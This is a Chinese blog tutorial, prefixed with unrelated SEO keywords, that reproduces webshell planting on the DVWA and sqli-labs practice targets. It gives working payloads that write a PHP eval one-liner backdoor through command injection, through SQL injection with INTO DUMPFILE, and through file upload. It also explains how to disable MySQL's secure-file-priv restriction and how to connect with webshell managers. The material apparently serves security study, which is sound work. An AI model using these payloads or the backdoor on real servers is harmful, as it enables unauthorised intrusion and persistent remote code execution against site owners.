搭建本地视频网站,开一家网站建设公司有前景吗,射阳做网站,wordpress搜索代码制做这篇文章旨在用于网络安全学习#xff0c;请勿进行任何非法行为#xff0c;否则后果自负。
准备环境
OWASP虚拟机xfp 7与xshell 7
DVWA系统默认的账号密码均为#xff1a;admin/admin
1、命令注入中复现
攻击payload 127.0.0.1 | echo ?php eval(…这篇文章旨在用于网络安全学习请勿进行任何非法行为否则后果自负。
准备环境
OWASP虚拟机xfp 7与xshell 7
DVWA系统默认的账号密码均为admin/admin
1、命令注入中复现
攻击payload 127.0.0.1 | echo ?php eval(\$_POST[\cmd\])? /var/www/shell.php 这个命令的目的是在服务器上创建一个名为 shell.php 的文件其中包含 PHP 代码。让我们逐步分析该命令 127.0.0.1: 这是一个IP地址本地回环地址代表要连接的目标主机。 |管道符号用于将前一个命令的输出作为后一个命令的输入。 echo ?php eval(\$_POST[\cmd\])?: 这是一个echo命令它将字符串 ?php eval(\$_POST[cmd])? 输出到标准输出。 重定向操作符将前一个命令的输出写入到后一个命令指定的文件中。 /var/www/shell.php这是目标文件路径表示要将输出写入到 /var/www/ 目录下的名为 shell.php 的文件。
综上所述如果成功执行此命令则会在服务器的 /var/www/ 目录下创建一个名为 shell.php 的文件并将 ?php eval(\$_POST[cmd])? 的内容写入到该文件中。由于该PHP代码使用了 eval 函数它会执行用户在 POST 请求通过 cmd 参数中输入的命令。
下面是一些常见的命令连接符及其作用如果管道符“|”被过滤了就可以使用其他的代替 将两个命令并行执行无论前一个命令是否成功。 只有当前一个命令成功执行时才会执行后一个命令。 |将前一个命令的输出作为后一个命令的输入。 ||只有当前一个命令执行失败时才会执行后一个命令。
复现
在靶机中查看木马文件
最后就能在靶机看到我们的文件了我们的文件保存在/var/www/目录下查看方法
cd /var/www/ - ls # 之后就能看到/var/www/下的文件信息
我跟喜欢使用xfp 7与xshell 7来输入命令与查看文件
使用蚁剑或菜刀连接木马
成功进入目标文件管理界面攻击复现成功
注意虽然我们的shell.php木马文件存放在/var/www/目录下但是我们连接只需要使用靶机IP文件名即可。因为Web服务器已经将根目录设置为 /var/www/所以不需要在 URL 中显式指定该目录。只需使用 http://IP地址/文件名 的格式即可访问该文件。
2、SQL注入中复现
攻击payload
-1 union select 1,1,?php eval(\$_POST[\cmd\])? into dumpfile F:\\phpStudy\\PHPTutorial\\WWW\\shell.php --
UNION SELECT 1,1,?php eval(\$_POST[\cmd\])?这是一个 UNION SELECT 查询它将会返回两列。第一列是数字 1第二列是数字 1第三列是 PHP 代码 ?php eval(\$_POST[cmd])?。这段代码是恶意的它尝试执行通过 POST 请求传递的 cmd 参数作为代码进行执行。INTO DUMPFILE F:\\phpStudy\\PHPTutorial\\WWW\\shell.php这个部分尝试将查询结果保存到指定的文件路径 F:\\phpStudy\\PHPTutorial\\WWW\\shell.php 中。这将会创建一个名为 shell.php 的文件并将查询结果写入其中。--这是 SQL 中的注释符号表示注释掉后续的内容。
总的来说该语句的目的是将恶意代码写入到 F:\\phpStudy\\PHPTutorial\\WWW\\shell.php 文件中以便在攻击者控制的环境中执行该代码。这种攻击常用于获取未经授权的访问权限、控制目标服务器或进行其他恶意活动。
复现我这里用sqlilabs靶场
安装详细安装sqlmap详细教程_sqlmap安装教程_mingzhi61的博客-CSDN博客
安装完成后打开http://127.0.0.1/sqlilabs/Less-2/?id1 本来我是用DVWA靶场复现的搞了半天都搞不定一直提示“用户“dvwa”“%”的访问被拒绝使用密码YES”解决不了换靶场
1先判断显示位测试是否存在SQL注入
-1 union select 1,2,3 -- - 命令可以使用插件 HackBar 来发送也可以直接粘贴到网络的url中执行工具本文开头的环境准备可以下载
2再判断路径判断MysQL的存储路径方便我们写入一句话马
-1 union select 1,datadir,3 -- - 3写入WebShell
-1 union select 1,1,?php eval(\$_POST[\cmd\])? into dumpfile F:\\phpStudy\\PHPTutorial\\WWW\\shell.php --
代码执行只要不报错就行成功了 注意MySQL 服务器默认情况使用了 --secure-file-priv 选项限制了 INTO OUTFILE 的功能。
解决你可以尝试以下步骤
打开 phpStudy 的安装目录找到 my.ini或 my.cnf配置文件。在配置文件中找到 [mysqld] 部分。在 [mysqld] 部分添加或修改下列行
[mysqld] secure-file-priv
保存配置文件并重启 phpStudy 中的 MySQL 服务器。
通过将 secure-file-priv 设置为空字符串你可以移除文件路径限制允许使用 INTO OUTFILE 语句将查询结果输出到任意位置。
连接
参考文章SQL注入篇——一句话木马_sql注马语句_admin-r꯭o꯭ot꯭的博客-CSDN博客
3、文件上传漏洞中复现
攻击payload
准备一个木马文件如cmd.php
?php eval($_POST[cmd])?
复现 连接
主机IP/dvwa/hackable/uploads/cmd.php# 注意路径前面要加上dvwa因为我们是在dvwa靶场上实验的在虚拟机的WWW目录下有很多个靶场所以我们要指定靶场